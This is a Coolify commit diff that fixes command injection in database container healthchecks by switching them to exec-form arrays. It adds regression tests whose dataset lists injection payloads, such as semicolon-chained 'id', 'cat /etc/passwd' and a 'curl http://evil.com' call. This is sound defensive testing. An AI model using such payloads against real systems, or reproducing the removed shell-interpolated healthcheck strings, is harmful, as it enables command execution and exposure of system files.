An open-source, self-hostable PaaS alternative to Vercel, Heroku & Netlify that lets you easily deploy static sites, databases, full-stack applications and 360+ one-click services on your own servers.
PHP coolifydatabasesdeploymentdockerdocker-composeinertiajslaravelmariadbmysqlnextjsnodejsphppostgresredisself-hostedself-hostingserverstatic-sitesveltesvelte5
fix(database): prevent command injection in healthcheck via CMD exec-form
Andras Bacsai64753b413640
diff --git a/app/Actions/Database/StartClickhouse.php b/app/Actions/Database/StartClickhouse.phpindex 393906b9bf..30cae71f1a 100644--- a/app/Actions/Database/StartClickhouse.php+++ b/app/Actions/Database/StartClickhouse.php@@ -51,7 +51,7 @@ class StartClickhouse],'labels' => defaultDatabaseLabels($this->database)->toArray(),'healthcheck' => [- 'test' => "clickhouse-client --user {$this->database->clickhouse_admin_user} --password {$this->database->clickhouse_admin_password} --query 'SELECT 1'",+ 'test' => ['CMD', 'clickhouse-client', '--user', (string) $this->database->clickhouse_admin_user, '--password', (string) $this->database->clickhouse_admin_password, '--query', 'SELECT 1'],'interval' => '5s','timeout' => '5s','retries' => 10,diff --git a/app/Actions/Database/StartDragonfly.php b/app/Actions/Database/StartDragonfly.phpindex cd820523d7..addc30be41 100644--- a/app/Actions/Database/StartDragonfly.php+++ b/app/Actions/Database/StartDragonfly.php@@ -107,7 +107,7 @@ class StartDragonfly],'labels' => defaultDatabaseLabels($this->database)->toArray(),'healthcheck' => [- 'test' => "redis-cli -a {$this->database->dragonfly_password} ping",+ 'test' => ['CMD', 'redis-cli', '-a', (string) $this->database->dragonfly_password, 'ping'],'interval' => '5s','timeout' => '5s','retries' => 10,diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.phpindex ec09b73920..e59d6f697c 100644--- a/app/Actions/Database/StartKeydb.php+++ b/app/Actions/Database/StartKeydb.php@@ -109,7 +109,7 @@ class StartKeydb],'labels' => defaultDatabaseLabels($this->database)->toArray(),'healthcheck' => [- 'test' => "keydb-cli --pass {$this->database->keydb_password} ping",+ 'test' => ['CMD', 'keydb-cli', '--pass', (string) $this->database->keydb_password, 'ping'],'interval' => '5s','timeout' => '5s','retries' => 10,diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.phpindex 41e39c811f..81cffeb940 100644--- a/app/Actions/Database/StartPostgresql.php+++ b/app/Actions/Database/StartPostgresql.php@@ -111,10 +111,7 @@ class StartPostgresql],'labels' => defaultDatabaseLabels($this->database)->toArray(),'healthcheck' => [- 'test' => [- 'CMD-SHELL',- "psql -U {$this->database->postgres_user} -d {$this->database->postgres_db} -c 'SELECT 1' || exit 1",- ],+ 'test' => ['CMD', 'psql', '-U', (string) $this->database->postgres_user, '-d', (string) $this->database->postgres_db, '-c', 'SELECT 1'],'interval' => '5s','timeout' => '5s','retries' => 10,diff --git a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.phpnew file mode 100644index 0000000000..b8c2b8a5d7--- /dev/null+++ b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php@@ -0,0 +1,107 @@+<?php++/**+ * Regression tests for GHSA-gvc4-f276-r88p.+ *+ * Docker CMD-SHELL healthchecks pass the string to /bin/sh -c, enabling command injection+ * via user-controlled DB username/password/database fields. The fix converts all affected+ * healthchecks to CMD exec-form arrays, which bypass the shell entirely.+ */+dataset('malicious_db_inputs', [+ 'semicolon separator' => ['admin; id > /tmp/pwned; echo'],+ 'command substitution $()' => ['admin$(id > /tmp/pwned)'],+ 'backtick substitution' => ['admin`id > /tmp/pwned`'],+ 'pipe operator' => ['admin | cat /etc/passwd'],+ 'background operator' => ['admin & curl http://evil.com'],+ 'output redirect' => ['admin > /tmp/evil.txt'],+ 'newline injection' => ["admin\nid"],+ 'null byte' => ["admin\0id"],+]);++// ─── PostgreSQL ──────────────────────────────────────────────────────────────++test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');++ expect($source)->not->toContain('CMD-SHELL');+ expect($source)->toContain("'CMD', 'psql'");+});++test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {+ // Simulate what StartPostgresql now generates+ $healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];++ expect($healthcheck[0])->toBe('CMD');+ expect($healthcheck[0])->not->toBe('CMD-SHELL');+ // Malicious value is isolated as a single argv element — no shell interprets it+ expect($healthcheck)->toContain($malicious);+ expect(is_array($healthcheck))->toBeTrue();+})->with('malicious_db_inputs');++// ─── KeyDB ────────────────────────────────────────────────────────────────────++test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php');++ expect($source)->not->toContain('CMD-SHELL');+ expect($source)->toContain("'CMD', 'keydb-cli'");+});++test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {+ $healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];++ expect($healthcheck[0])->toBe('CMD');+ expect($healthcheck)->toContain($malicious);+ expect(is_array($healthcheck))->toBeTrue();+})->with('malicious_db_inputs');++// ─── Dragonfly ────────────────────────────────────────────────────────────────++test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php');++ expect($source)->not->toContain('CMD-SHELL');+ expect($source)->toContain("'CMD', 'redis-cli'");+});++test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {+ $healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];++ expect($healthcheck[0])->toBe('CMD');+ expect($healthcheck)->toContain($malicious);+ expect(is_array($healthcheck))->toBeTrue();+})->with('malicious_db_inputs');++// ─── ClickHouse ───────────────────────────────────────────────────────────────++test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php');++ expect($source)->not->toContain('CMD-SHELL');+ expect($source)->toContain("'CMD', 'clickhouse-client'");+});++test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {+ $healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];++ expect($healthcheck[0])->toBe('CMD');+ expect($healthcheck)->toContain($malicious);+ expect(is_array($healthcheck))->toBeTrue();+})->with('malicious_db_inputs');++// ─── Verify unaffected databases still use their safe patterns ────────────────++test('mysql healthcheck already uses CMD exec-form (no regression)', function () {+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php');++ // MySQL already used CMD array form — ensure it stays that way+ expect($source)->toContain("'CMD', 'mysqladmin'");+});++test('mariadb healthcheck uses safe fixed script (no regression)', function () {+ $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php');++ expect($source)->toContain('healthcheck.sh');+ // Must not have gained any user-field interpolation+ expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i');+});